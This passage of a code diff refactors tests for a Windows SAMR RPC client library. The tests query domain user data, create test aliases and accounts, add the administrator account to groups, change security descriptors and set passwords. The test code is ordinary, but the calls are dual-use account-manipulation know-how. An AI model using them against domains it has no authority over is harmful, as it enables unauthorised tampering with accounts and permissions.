resp = dce.request(req) resp.dump() - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserLogonHoursInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserFullNameInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserHomeInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserScriptInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserProfileInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAdminCommentInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserWorkStationsInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserControlInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserExpiresInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal1Information - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserParametersInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAllInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4Information - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5Information - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass - - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal4InformationNew - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass + # Get different user info classes + for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation, + samr.USER_INFORMATION_CLASS.UserLogonHoursInformation, + samr.USER_INFORMATION_CLASS.UserAccountInformation, + samr.USER_INFORMATION_CLASS.UserNameInformation, + samr.USER_INFORMATION_CLASS.UserAccountNameInformation, + + samr.USER_INFORMATION_CLASS.UserFullNameInformation, + samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation, + samr.USER_INFORMATION_CLASS.UserHomeInformation, + samr.USER_INFORMATION_CLASS.UserScriptInformation, + samr.USER_INFORMATION_CLASS.UserProfileInformation, + samr.USER_INFORMATION_CLASS.UserAdminCommentInformation, + samr.USER_INFORMATION_CLASS.UserWorkStationsInformation, + samr.USER_INFORMATION_CLASS.UserControlInformation, + samr.USER_INFORMATION_CLASS.UserExpiresInformation, + samr.USER_INFORMATION_CLASS.UserParametersInformation, + samr.USER_INFORMATION_CLASS.UserAllInformation, + ]: + request['UserInformationClass'] = user_info_class + dce.request(request) - request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserInternal5InformationNew - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - pass + # Get different user info classes that are internal + for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information, + samr.USER_INFORMATION_CLASS.UserInternal4Information, + samr.USER_INFORMATION_CLASS.UserInternal5Information, + samr.USER_INFORMATION_CLASS.UserInternal4InformationNew, + samr.USER_INFORMATION_CLASS.UserInternal5InformationNew + ]: + request['UserInformationClass'] = internal_user_info_class + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"): + dce.request(request) def test_SamrAddMemberToGroup_SamrRemoveMemberFromGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrConnect() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string resp = dce.request(request) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise request = samr.SamrRemoveMemberFromGroup() @@ -1903,7 +1402,7 @@ def test_SamrAddMemberToGroup_SamrRemoveMemberFromGroup(self): try: resp2 = dce.request(request) resp2.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0: raise request = samr.SamrAddMemberToGroup() @@ -1913,49 +1412,51 @@ def test_SamrAddMemberToGroup_SamrRemoveMemberFromGroup(self): try: resp2 = dce.request(request) resp2.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MEMBER_IN_GROUP') < 0: raise def test_hSamrAddMemberToGroup_hSamrRemoveMemberFromGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrConnect() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string resp = dce.request(request) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise try: - resp2 = samr.hSamrRemoveMemberFromGroup(dce, resp['GroupHandle'],samr.DOMAIN_USER_RID_ADMIN) + resp2 = samr.hSamrRemoveMemberFromGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN) resp2.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0: raise try: - resp2= samr.hSamrAddMemberToGroup(dce, resp['GroupHandle'] ,samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT) + resp2 = samr.hSamrAddMemberToGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT) resp2.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MEMBER_IN_GROUP') < 0: raise def test_SamrGetMembersInGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise @@ -1965,15 +1466,16 @@ def test_SamrGetMembersInGroup(self): resp.dump() def test_hSamrGetMembersInGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0: raise @@ -1981,16 +1483,17 @@ def test_hSamrGetMembersInGroup(self): resp.dump() def test_SamrGetMembersInAlias(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrEnumerateAliasesInDomain() request['DomainHandle'] = domainHandle - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 status = nt_errors.STATUS_MORE_ENTRIES while status == nt_errors.STATUS_MORE_ENTRIES: try: resp4 = dce.request(request) - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp4 = e.get_packet() @@ -2000,7 +1503,7 @@ def test_SamrGetMembersInAlias(self): request = samr.SamrOpenAlias() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId'] resp = dce.request(request) resp.dump() @@ -2011,16 +1514,17 @@ def test_SamrGetMembersInAlias(self): resp.dump() def test_hSamrGetMembersInAlias(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrEnumerateAliasesInDomain() request['DomainHandle'] = domainHandle - request['EnumerationContext'] = 0 + request['EnumerationContext'] = 0 request['PreferedMaximumLength'] = 500 status = nt_errors.STATUS_MORE_ENTRIES while status == nt_errors.STATUS_MORE_ENTRIES: try: resp4 = dce.request(request) - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp4 = e.get_packet() @@ -2030,7 +1534,7 @@ def test_hSamrGetMembersInAlias(self): request = samr.SamrOpenAlias() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId'] resp = dce.request(request) resp.dump() @@ -2039,12 +1543,13 @@ def test_hSamrGetMembersInAlias(self): resp.dump() def test_SamrAddMemberToAlias_SamrRemoveMemberFromAlias(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateAliasInDomain() request['DomainHandle'] = domainHandle - request['AccountName'] = 'testGroup' + request['AccountName'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() + resp = dce.request(request) aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] @@ -2052,7 +1557,7 @@ def test_SamrAddMemberToAlias_SamrRemoveMemberFromAlias(self): request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2081,8 +1586,9 @@ def test_SamrAddMemberToAlias_SamrRemoveMemberFromAlias(self): dce.request(request) def test_hSamrAddMemberToAlias_hSamrRemoveMemberFromAlias(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE) + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE) resp.dump() aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] @@ -2090,7 +1596,7 @@ def test_hSamrAddMemberToAlias_hSamrRemoveMemberFromAlias(self): request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2111,14 +1617,14 @@ def test_hSamrAddMemberToAlias_hSamrRemoveMemberFromAlias(self): resp = samr.hSamrDeleteAlias(dce, aliasHandle) resp.dump() - def test_SamrAddMultipleMembersToAlias_SamrRemoveMultipleMembersFromAliass(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateAliasInDomain() request['DomainHandle'] = domainHandle - request['AccountName'] = 'testGroup' + request['AccountName'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() + resp = dce.request(request) aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] @@ -2126,7 +1632,7 @@ def test_SamrAddMultipleMembersToAlias_SamrRemoveMultipleMembersFromAliass(self) request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2160,7 +1666,7 @@ def test_SamrAddMultipleMembersToAlias_SamrRemoveMultipleMembersFromAliass(self) request['MembersBuffer']['Count'] = 2 request['MembersBuffer']['Sids'].append(si) request['MembersBuffer']['Sids'].append(si2) - #request.dump() + resp2 = dce.request(request) resp2.dump() @@ -2177,18 +1683,19 @@ def test_SamrAddMultipleMembersToAlias_SamrRemoveMultipleMembersFromAliass(self) dce.request(request) def test_hSamrAddMultipleMembersToAlias_hSamrRemoveMultipleMembersFromAliass(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) #resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle) #resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1257) #resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle']) - resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE) + resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE) aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] resp.dump() request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2231,15 +1738,15 @@ def test_hSamrAddMultipleMembersToAlias_hSamrRemoveMultipleMembersFromAliass(sel request['AliasHandle'] = aliasHandle dce.request(request) - def test_SamrRemoveMemberFromForeignDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateAliasInDomain() request['DomainHandle'] = domainHandle - request['AccountName'] = 'testGroup' + request['AccountName'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() + resp = dce.request(request) aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] @@ -2247,7 +1754,7 @@ def test_SamrRemoveMemberFromForeignDomain(self): request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2262,7 +1769,7 @@ def test_SamrRemoveMemberFromForeignDomain(self): try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0: raise @@ -2271,12 +1778,13 @@ def test_SamrRemoveMemberFromForeignDomain(self): dce.request(request) def test_hSamrRemoveMemberFromForeignDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateAliasInDomain() request['DomainHandle'] = domainHandle - request['AccountName'] = 'testGroup' + request['AccountName'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() + resp = dce.request(request) aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] @@ -2284,7 +1792,7 @@ def test_hSamrRemoveMemberFromForeignDomain(self): request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2295,10 +1803,10 @@ def test_hSamrRemoveMemberFromForeignDomain(self): sid = samr.RPC_SID() sid.fromCanonical(adminSID) try: - resp= samr.hSamrRemoveMemberFromForeignDomain(dce, domainHandle, sid) + resp = samr.hSamrRemoveMemberFromForeignDomain(dce, domainHandle, sid) resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_SPECIAL_ACCOUNT') < 0: raise @@ -2307,12 +1815,13 @@ def test_hSamrRemoveMemberFromForeignDomain(self): dce.request(request) def test_SamrGetAliasMembership(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateAliasInDomain() request['DomainHandle'] = domainHandle - request['AccountName'] = 'testGroup' + request['AccountName'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() + resp = dce.request(request) aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] @@ -2320,7 +1829,7 @@ def test_SamrGetAliasMembership(self): request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2346,7 +1855,6 @@ def test_SamrGetAliasMembership(self): si2 = samr.PSAMPR_SID_INFORMATION() si2['SidPointer'] = sid2 - request = samr.SamrGetAliasMembership() request['DomainHandle'] = domainHandle request['SidArray']['Count'] = 2 @@ -2360,16 +1868,17 @@ def test_SamrGetAliasMembership(self): dce.request(request) def test_hSamrGetAliasMembership(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) #resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle) #resp = samr.hSamrOpenAlias(dce, domainHandle, samr.DELETE, 1268) #resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle']) request = samr.SamrCreateAliasInDomain() request['DomainHandle'] = domainHandle - request['AccountName'] = 'testGroup' + request['AccountName'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() + resp = dce.request(request) aliasHandle = resp['AliasHandle'] relativeId = resp['RelativeId'] @@ -2377,7 +1886,7 @@ def test_hSamrGetAliasMembership(self): request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = relativeId + request['Rid'] = relativeId resp3 = dce.request(request) resp3.dump() @@ -2410,7 +1919,7 @@ def test_hSamrGetAliasMembership(self): try: resp = samr.hSamrGetAliasMembership(dce, domainHandle, sidsArray) resp.dump() - except Exception as e: + except Exception: request = samr.SamrDeleteAlias() request['AliasHandle'] = aliasHandle dce.request(request) @@ -2421,14 +1930,15 @@ def test_hSamrGetAliasMembership(self): dce.request(request) def test_SamrSetMemberAttributesOfGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrConnect() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string dce.request(request) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS resp = dce.request(request) @@ -2440,26 +1950,27 @@ def test_SamrSetMemberAttributesOfGroup(self): resp.dump() def test_hSamrSetMemberAttributesOfGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrConnect() request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED - request['ServerName'] = 'BETO\x00' + request['ServerName'] = self.server_name_string dce.request(request) request = samr.SamrOpenGroup() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED + request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS resp = dce.request(request) - resp = samr.hSamrSetMemberAttributesOfGroup(dce, resp['GroupHandle'],samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT) + resp = samr.hSamrSetMemberAttributesOfGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT) resp.dump() - def test_SamrGetUserDomainPasswordInformation(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenUser() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT + request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT request['UserId'] = samr.DOMAIN_USER_RID_ADMIN resp = dce.request(request) @@ -2469,10 +1980,11 @@ def test_SamrGetUserDomainPasswordInformation(self): resp.dump() def test_hSamrGetUserDomainPasswordInformation(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenUser() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT + request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT request['UserId'] = samr.DOMAIN_USER_RID_ADMIN resp = dce.request(request) @@ -2480,50 +1992,52 @@ def test_hSamrGetUserDomainPasswordInformation(self): resp.dump() def test_SamrGetDomainPasswordInformation(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrGetDomainPasswordInformation() request['Unused'] = NULL resp = dce.request(request) resp.dump() def test_hSamrGetDomainPasswordInformation(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() resp = samr.hSamrGetDomainPasswordInformation(dce) resp.dump() def test_SamrRidToSid(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrRidToSid() request['ObjectHandle'] = domainHandle - request['Rid'] = samr.DOMAIN_USER_RID_ADMIN + request['Rid'] = samr.DOMAIN_USER_RID_ADMIN dce.request(request) def test_hSamrRidToSid(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrRidToSid(dce, domainHandle, samr.DOMAIN_USER_RID_ADMIN) resp.dump() def test_SamrSetDSRMPassword(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrSetDSRMPassword() - request['Unused'] = NULL - request['UserId'] = samr.DOMAIN_USER_RID_ADMIN - request['EncryptedNtOwfPassword'] = '\x00'*16 + request['Unused'] = NULL + request['UserId'] = samr.DOMAIN_USER_RID_ADMIN + request['EncryptedNtOwfPassword'] = '\x00'*16 # calls made to SamrSetDSRMPassword using NCACN_IP_TCP are rejected with RPC_S_ACCESS_DENIED. try: dce.request(request) except Exception as e: - if self.stringBinding.find('ncacn_ip_tcp') >=0: + if self.protocol == 'ncacn_ip_tcp': if str(e).find('rpc_s_access_denied') < 0: raise elif str(e).find('STATUS_NOT_SUPPORTED') < 0: raise def test_SamrValidatePassword(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() request = samr.SamrValidatePassword() - request['ValidationType'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset - request['InputArg']['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset + request['ValidationType'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset + request['InputArg']['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY request['InputArg']['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL request['InputArg']['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA' @@ -2538,9 +2052,9 @@ def test_SamrValidatePassword(self): raise def test_hSamrValidatePassword(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() inputArg = samr.SAM_VALIDATE_INPUT_ARG() - inputArg['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset + inputArg['tag'] = samr.PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PresentFields'] = samr.SAM_VALIDATE_PASSWORD_HISTORY inputArg['ValidatePasswordResetInput']['InputPersistedFields']['PasswordHistory'] = NULL inputArg['ValidatePasswordResetInput']['ClearPassword'] = 'AAAAAAAAAAAAAAAA' @@ -2553,20 +2067,24 @@ def test_hSamrValidatePassword(self): raise def test_SamrQuerySecurityObject(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrQuerySecurityObject() - request['ObjectHandle'] = domainHandle - request['SecurityInformation'] = dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION + request['ObjectHandle'] = domainHandle + request['SecurityInformation'] = dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION resp = dce.request(request) resp.dump() def test_hSamrQuerySecurityObject(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrQuerySecurityObject(dce, domainHandle,dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION) + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + resp = samr.hSamrQuerySecurityObject(dce, domainHandle, + dtypes.OWNER_SECURITY_INFORMATION | dtypes.GROUP_SECURITY_INFORMATION | dtypes.SACL_SECURITY_INFORMATION | dtypes.DACL_SECURITY_INFORMATION) resp.dump() def test_SamrSetSecurityObject(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,)) resp.dump() @@ -2575,16 +2093,16 @@ def test_SamrSetSecurityObject(self): resp.dump() userHandle = resp['UserHandle'] request = samr.SamrQuerySecurityObject() - request['ObjectHandle'] = userHandle - request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION + request['ObjectHandle'] = userHandle + request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION resp = dce.request(request) resp.dump() request = samr.SamrSetSecurityObject() - request['ObjectHandle'] = userHandle - request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION + request['ObjectHandle'] = userHandle + request['SecurityInformation'] = dtypes.GROUP_SECURITY_INFORMATION request['SecurityDescriptor'] = resp['SecurityDescriptor'] - #request.dump() + try: resp = dce.request(request) resp.dump() @@ -2596,8 +2114,8 @@ def test_SamrSetSecurityObject(self): resp.dump() def test_hSamrSetSecurityObject(self): - dce, rpctransport, domainHandle = self.connect() - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.username,)) resp.dump() @@ -2609,25 +2127,25 @@ def test_hSamrSetSecurityObject(self): resp.dump() try: - resp = samr.hSamrSetSecurityObject(dce, userHandle,dtypes.GROUP_SECURITY_INFORMATION ,resp['SecurityDescriptor'] ) + resp = samr.hSamrSetSecurityObject(dce, userHandle, dtypes.GROUP_SECURITY_INFORMATION,resp['SecurityDescriptor'] ) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_BAD_DESCRIPTOR_FORMAT') <= 0: raise resp = samr.hSamrCloseHandle(dce, userHandle) resp.dump() - def test_SamrChangePasswordUser(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateUser2InDomain() request['DomainHandle'] = domainHandle - request['Name'] = 'testAccount' + request['Name'] = self.test_account request['AccountType'] = samr.USER_NORMAL_ACCOUNT request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE - #request.dump() + resp0 = dce.request(request) resp0.dump() @@ -2637,7 +2155,6 @@ def test_SamrChangePasswordUser(self): newPwdHashNT = 